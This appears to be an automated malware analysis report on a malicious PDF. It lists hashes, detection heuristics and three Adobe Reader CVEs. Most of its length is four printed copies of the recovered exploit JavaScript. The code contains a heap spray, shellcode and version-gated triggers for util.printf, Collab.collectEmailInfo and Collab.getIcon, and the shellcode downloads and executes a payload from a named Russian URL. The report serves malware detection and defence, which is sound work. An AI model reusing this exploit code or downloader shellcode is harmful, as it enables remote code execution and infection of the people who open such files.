Malicious PDF — malware analysis report

Static analysis result for SHA-256 8992eddd66755319…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2012-07-12
MD5: dfc85a938ae5db3aa788e4239a3c9682 SHA-1: c96caf695dbd04f3b891fef3108d741dfd8a0cef SHA-256: 8992eddd66755319c2c17714e61c9baca304bb03ad68c233ae2a92daada38674
630 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains obfuscated JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://mamj.ru/exp/load.php?stat=Windows. The use of multiple CVEs and obfuscated JavaScript indicates a sophisticated exploit kit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    varf34d=newArray();functionj72y(p30g,v70u){while(p30g.length*2<v70u){p30g=p30g;}p30g=p30g.substring(0,v70u/2);returnp30g;}functionb38j(u45c){varh52b=0x0c0c0c0c;varh43u=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C5 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://mamj.ru/exp/load.php?stat=Windows Referenced by PDF JavaScript
    • http://mamj.ru/exp/load.php?stat=WReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 3774 bytes
SHA-256: c35b4e4b12688b5b7a5b6af59d007ac180f0dd2d77d7de592e11f2485a566388
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var f34d = new Array();
function j72y(p30g, v70u){
 while (p30g.length * 2 < v70u){
p30g += p30g;
}
p30g = p30g.substring(0, v70u / 2);
return p30g;
}
function b38j(u45c){
var h52b = 0x0c0c0c0c;
var h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (u45c == 1){
h52b = 0x30303030;
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (u45c == 2){
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var f38e = 0x400000;
var b39h = h43u.length * 2;
var v70u = f38e - (b39h + 0x38);
var p30g = unescape("%u9090%u9090");
p30g = j72y(p30g, v70u);
var s60p = (h52b - 0x400000) / f38e;
for (var v1j = 0; v1j < s60p; v1j ++ ){
f34d[v1j] = p30g + h43u;
}
}
function u66r(){
var b53j = app.viewerVersion.toString();
if (b53j > 8){
b38j(1);
var v61t = "12999999999999999999";
for (g44f = 0; g44f < 276; g44f ++ ){
v61t += "8";
}
util.printf("%45000f", v61t);
}
if (b53j < 8){
b38j(0);
var i76t = unescape("%u0c0c%u0c0c");
while (i76t.length < 44952)i76t += i76t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i76t});
}
if (b53j < 9.1)
{
if (app.doc.Collab.getIcon){
b38j(2);
var k7e = unescape("%09");
while (k7e.length < 0x4000)k7e += k7e;
k7e = "N." + k7e;
app.doc.Collab.getIcon(k7e);
}
}
}
u66r();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: 1fc57832546a710bd647e7165d1bab62b48ffa2329072128e3c8e5e9deed0a5e
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: 867952fc9dc9a8727e1fea656c478374c73102c76ae47f63687e0c36c6242a81
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 288 bytes
SHA-256: e7381f2f6f311e6cc26e957ce1153f932c0182adbda0a76bf47a0c42d33b75d2
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 3770 bytes
SHA-256: f8aeffa42ce4cc3e56f2802b68c1e3d9723e0ec72b89946711c4abff5f7abf68
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var f34d = new Array();
function j72y(p30g, v70u){
 while (p30g.length * 2 < v70u){
p30g += p30g;
}
p30g = p30g.substring(0, v70u / 2);
return p30g;
}
function b38j(u45c){
var h52b = 0x0c0c0c0c;
var h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (u45c == 1){
h52b = 0x30303030;
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (u45c == 2){
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var f38e = 0x400000;
var b39h = h43u.length * 2;
var v70u = f38e - (b39h + 0x38);
var p30g = unescape("%u9090%u9090");
p30g = j72y(p30g, v70u);
var s60p = (h52b - 0x400000) / f38e;
for (var v1j = 0; v1j < s60p; v1j ++ ){
f34d[v1j] = p30g + h43u;
}
}
function u66r(){
var b53j = app.viewerVersion.toString();
if (b53j > 8){
b38j(1);
var v61t = "12999999999999999999";
for (g44f = 0; g44f < 276; g44f ++ ){
v61t += "8";
}
util.printf("E000f", v61t);
}
if (b53j < 8){
b38j(0);
var i76t = unescape("%u0c0c%u0c0c");
while (i76t.length < 44952)i76t += i76t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i76t});
}
if (b53j < 9.1)
{
if (app.doc.Collab.getIcon){
b38j(2);
var k7e = unescape("	");
while (k7e.length < 0x4000)k7e += k7e;
k7e = "N." + k7e;
app.doc.Collab.getIcon(k7e);
}
}
}
u66r();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 3781 bytes
SHA-256: 221866c2802f3aa65610ea75b9219837019452abe46e6aea39c5ebd0f4129544
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var f34d = new Array();
function j72y(p30g, v70u){
 while (p30g.length * 2 < v70u){
p30g += p30g;
}
p30g = p30g.substring(0, v70u / 2);
return p30g;
}
function b38j(u45c){
var h52b = 0x0c0c0c0c;
var h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (u45c == 1){
h52b = 0x30303030;
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (u45c == 2){
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var f38e = 0x400000;
var b39h = h43u.length * 2;
var v70u = f38e - (b39h + 0x38);
var p30g = unescape("%u9090%u9090");
p30g = j72y(p30g, v70u);
var s60p = (h52b - 0x400000) / f38e;
for (var v1j = 0; v1j < s60p; v1j ++ ){
f34d[v1j] = p30g + h43u;
}
}
function u66r(){
var b53j = app.viewerVersion.toString();
if (b53j > 8){
b38j(1);
var v61t = "12999999999999999999";
for (g44f = 0; g44f < 276; g44f ++ ){
v61t += "8";
}
util.printf("E000f", v61t);
}
if (b53j < 8){
b38j(0);
var i76t = unescape("%u0c0c%u0c0c");
while (i76t.length < 44952)i76t += i76t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i76t});
}
if (b53j < 9.1)
{
if (app.doc.Collab.getIcon){
b38j(2);
var k7e = unescape("	");
while (k7e.length < 0x4000)k7e += k7e;
k7e = "N." + k7e;
app.doc.Collab.getIcon(k7e);
}
}
}
u66r();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 3785 bytes
SHA-256: fea130f690f1ae5839520c064f0eae5bb3e386034ae1bb5ff5d5680f9f97365b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var f34d = new Array();
function j72y(p30g, v70u){
 while (p30g.length * 2 < v70u){
p30g += p30g;
}
p30g = p30g.substring(0, v70u / 2);
return p30g;
}
function b38j(u45c){
var h52b = 0x0c0c0c0c;
var h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u313D");
if (u45c == 1){
h52b = 0x30303030;
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u323D");
}
if (u45c == 2){
h43u = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6D2F%u6D61%u2E6A%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u2F65%u6F6C%u6461%u702E%u7068%u7326%u333D");
}
var f38e = 0x400000;
var b39h = h43u.length * 2;
var v70u = f38e - (b39h + 0x38);
var p30g = unescape("%u9090%u9090");
p30g = j72y(p30g, v70u);
var s60p = (h52b - 0x400000) / f38e;
for (var v1j = 0; v1j < s60p; v1j ++ ){
f34d[v1j] = p30g + h43u;
}
}
function u66r(){
var b53j = app.viewerVersion.toString();
if (b53j > 8){
b38j(1);
var v61t = "12999999999999999999";
for (g44f = 0; g44f < 276; g44f ++ ){
v61t += "8";
}
util.printf("%45000f", v61t);
}
if (b53j < 8){
b38j(0);
var i76t = unescape("%u0c0c%u0c0c");
while (i76t.length < 44952)i76t += i76t;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : i76t});
}
if (b53j < 9.1)
{
if (app.doc.Collab.getIcon){
b38j(2);
var k7e = unescape("%09");
while (k7e.length < 0x4000)k7e += k7e;
k7e = "N." + k7e;
app.doc.Collab.getIcon(k7e);
}
}
}
u66r();

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